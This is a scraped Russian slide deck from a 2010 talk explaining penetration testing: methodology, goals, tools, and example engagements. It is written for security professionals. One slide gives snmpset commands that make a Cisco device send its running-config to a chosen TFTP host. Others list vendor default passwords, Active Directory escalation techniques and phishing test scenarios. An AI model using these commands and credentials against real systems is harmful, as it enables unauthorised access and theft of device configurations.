Что такое пентест
Download as PPT, PDF6 likes4,737 views
Документ посвящен тестированию на проникновение (пентест), описывая основные методы и подходы его проведения, включая внутренние и периметровые тестирования, а также анализ защищенности веб-приложений и сетей. В нем рассматриваются цели тестирования, такие как оценка процессов информационной безопасности, выявление уязвимостей и управление инцидентами. Кроме того, документ освещает инструменты, примеры тестов и проблемы, связанные с доступом и управлением безопасностью.
![Спасибо за внимание! [email_address] http://devteev.blogspot.com/](https://image.slidesharecdn.com/ruscripto2010-100404091358-phpapp01/85/-25-320.jpg)
Что такое пентест
- 1. Тестирование на проникновение Что такое ? Дмитрий Евтеев ( Positive Technologies)
- 2. Penetration testing internals Тестирование на проникновение != моделирование действий (не)реального злоумышленника Тестирование на проникновение != инструментальное сканирование с ручной верификацией уязвимостей Тестирование на проникновение – это комплекс мероприятий, направленных на оценку текущего состояния процессов обеспечения ИБ тестирование на преодоление защиты это один из методов проведения аудита ИБ
- 3. Методика С одной стороны это Open Source Security Testing Methodology Manual (OSSTMM) Web Application Security Consortium (WASC) Open Web Application Security Project (OWASP) … С другой стороны это Center of Internet Security (CIS) guides Стандарты серии ISO 2700x …
- 4. Возможности Механизм N … X Управление инцидентами Некоторые действия атакующей стороны были выявлены, но не были идентифицированы как атака. 2 Механизм N … X
- 5. Цели Высокоуровневые Внутренняя политика (пентест, как инструмент воздействия) Оценка текущего состояния процессов обеспечения ИБ Так надо ( compliance ) Технологические Осуществить НСД во внутреннюю сеть со стороны сети Интернет Получить максимальные привилегии в основных инфраструктурных системах ( Active Directory, сетевое оборудование, СУБД, ERP и пр.) Получить доступ к определенным информационным ресурсам Получить доступ к определенным данным (информации)
- 6. Подходы Периметровый пентест (с последующим развитием атаки во внутренней сети) С уведомлением и без уведомления администраторов Анализ защищенности беспроводных сетей Внутренний пентест С рабочего места среднестатистического пользователя сети Из выбранного сегмента сети Тестирование отдельного компонента информационной системы (анализ защищенности) Черный-, серый- белый-ящик Оценка осведомленности сотрудников компании в вопросах информационной безопасности
- 7. Реальная атака VS тестирование на проникновение Для непосредственного исполнителя пентест – это ВЗЛОМ! Ограничения Соблюдение законов РФ Ограниченное время Минимизация воздействия Отсутствие услуги тестирования типа DDoS Неудобства Согласование действий (порой это доходит до абсурда!) Ответственность / Аккуратность Преимущества Не нужно скрывать свою активность Упрощение процесса по идентификации периметра сети Возможность перехода к серому- и белому-ящику
- 8. Используемые инструменты Positive Technologies MaxPatrol Nmap/dnsenum/dig … … Immunity Canvas (VulnDisco, Agora Pack, Voip Pack) Metasploit … THC Hydra/THC PPTP bruter/ncrack … Cain and Abel/Wireshark Aircrack … Yersinia … Браузер, блокнот…
- 9. Проблема защиты Web -приложений Наиболее часто встречающиеся уязвимости веб-приложений при проведении анализа методом «черного ящика» (данные за 2009 год, http://ptsecurity.ru/analytics.asp )
- 10. Примеры пентестов : Web- приложения Что такое пентест веб-приложения методикой черного-ящика ? Web- сервер Рабочее место аудитора Проверка 1 Проверка N Найдена уязвимость Уязвимость 1: подбор пароля Impact: доступ к приложению (с ограниченными привилегиями) Уязвимость 2: внедрение операторов SQL Impact: только чтение файлов (включена опция magic quotes) Уязвимость 3: выход за каталог Impact: только чтение файлов (потенциально LFI) Уязвимость 4: предсказуемое значение идентификатора загружаемого файла Уязвимость 3 + Уязвимость 4 = Impact: выполнение команд на сервере Следующий шаг - РАЗВИТИЕ АТАКИ
- 11. Проблема слабых паролей Используется рекомендованная политика по заданию паролей Пароль администратора такого домена ? ( совпадает с логином )
- 12. Примеры пентестов : Подбор паролей (дефолты) Общепринятые admin:123456 Administrator:P@ssw0rd … SAP (DIAG) SAP*: 06071992, PASS манданты: 000, 001, 066, все новые (RFC) SAPCPIC: ADMIN манданты:000, 001, 066, все новые … Oracle sys:manager sys:change_on_install … Cisco Cisco:Cisco … …
- 13. Примеры пентестов : Привет Павлик :) snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.2.31337 integer 1 snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.3.31337 integer 4 snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.4.31337 integer 1 snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.5.31337 address <tftp_host> snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.6.31337 string running-config snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.14.31337 integer 1 snmpset -v 1 -c private <cisco> .1.3.6.1.4.1.9.9.96.1.1.1.1.14.31337 integer 6
- 14. Проблема разграничения доступа Сетевой доступ Архитектура сети (ДМЗ, технологическая сеть, пользовательский сегмент, тестовая среда) Удаленный доступ к сети Доступ к данным Общие ресурсы (пароли в открытом виде, резервные копии данных, различная чувствительная информация) Web- приложения, СУБД, ERP
- 15. Проблема управления доступом Разделение полномочий между администраторами Пользователи с повышенными привилегиями Сервисы (!) с не требуемым уровнем доступа Общая проблема управления идентификаторами
- 16. Примеры пентестов : Использование уязвимостей CANVAS && Metasploit
- 17. Примеры пентестов : Расширение привилегий в Active Directory Вариант 1 : Подбор пароля Вариант 2 : Использование уязвимостей в сервисах на контроллерах домена Вариант 3 : Проведение атаки Pass-the-hash Вариант 4: Создание нового пользователя с доменного компьютера, который посещает администратор домена Вариант 5 : Проведение атаки типа «Отравление ARP кэша» (например, перехват сессии RDP, понижение уровня проверки подлинности до LM ) Вариант 6: Проведение атаки NTLM Relay Вариант 7: Нахождение и восстановление system state домена (например, после успешной атаки на сервер резервного копирования) Вариант 8 : Получение расширенных привилегий за счет других систем (пример, контроль над записями в корневых DNS компании) Вариант 9 : Получение расширенных привилегий за счет уязвимостей других систем (хранение паролей с использованием обратимого шифрования, использование небезопасных протоколов и т.д.) Вариант N …
- 18. Примеры пентестов : Анализ защищенности Сканирование сети Успешно подобран пароль! Эксплуатация SQL Injection Выполнение команд на сервере Повышение привилегий Атака на внутренние ресурсы Внутренний пентест Установка сканера MaxPatrol Поиск уязвимостей Эксплуатация уязвимостей Перемещение в ИС ЦО Проведение атаки на ресурсы ЦО Получение максимальных привилегий во всей сети!
- 19. Примеры пентестов : Анализ защищенности
- 20. Примеры пентестов : Беспроводные сети
- 21. Примеры пентестов : Оценка эффективности программы повышения осведомленности Рассылка провоцирующих сообщений по электронной почте Рассылка провоцирующих сообщений с помощью системы ICQ (и других IM) Распространение носителей информации, содержащих провоцирующие данные Проведение опроса среди сотрудников Живой разговор (по телефону, skype )
- 22. Примеры пентестов : Пример набора проверок Описание сообщения Реализуемая атака Контролируемые события Сообщение от авторитетного лица, содержащее приложенный исполняемый файл. Распространение сетевых червей. Целевое заражение системы троянской программой. Открытие почтового сообщения. Запуск приложенного файла. Сообщение от внутреннего лица, содержащее ссылку на Web-сайт. Ссылка указывает на исполняемый файл. Атаки типа «фишинг». Распространение сетевых червей. Целевое заражение системы троянской программой. Использование уязвимостей ПО. Открытие почтового сообщения. Загрузка файла с Web-сервера. Запуск файла. Сообщение от авторитетного лица, содержащее ссылку на Web-сайт. Атаки типа «фишинг». Распространение сетевых червей. Целевое заражение системы троянской программой. Использование уязвимостей ПО. Открытие почтового сообщения. Переход по предложенной ссылке.
- 23. Примеры пентестов : Оценка эффективности программы повышения осведомленности
- 24. Резюме Тестирование на проникновение – это комплекс мероприятий, позволяющий провести эффективную оценку текущего состояния процессов обеспечения информационной безопасности Тестирование на проникновение – это поиск и использование недостатков в процессах обеспечения информационной безопасности управление уязвимостями управление конфигурациями управление инцидентами управление безопасностью веб-приложений, СУБД, ERP, проводными и беспроводными сетями и пр. etc
- 25. Спасибо за внимание! [email_address] http://devteev.blogspot.com/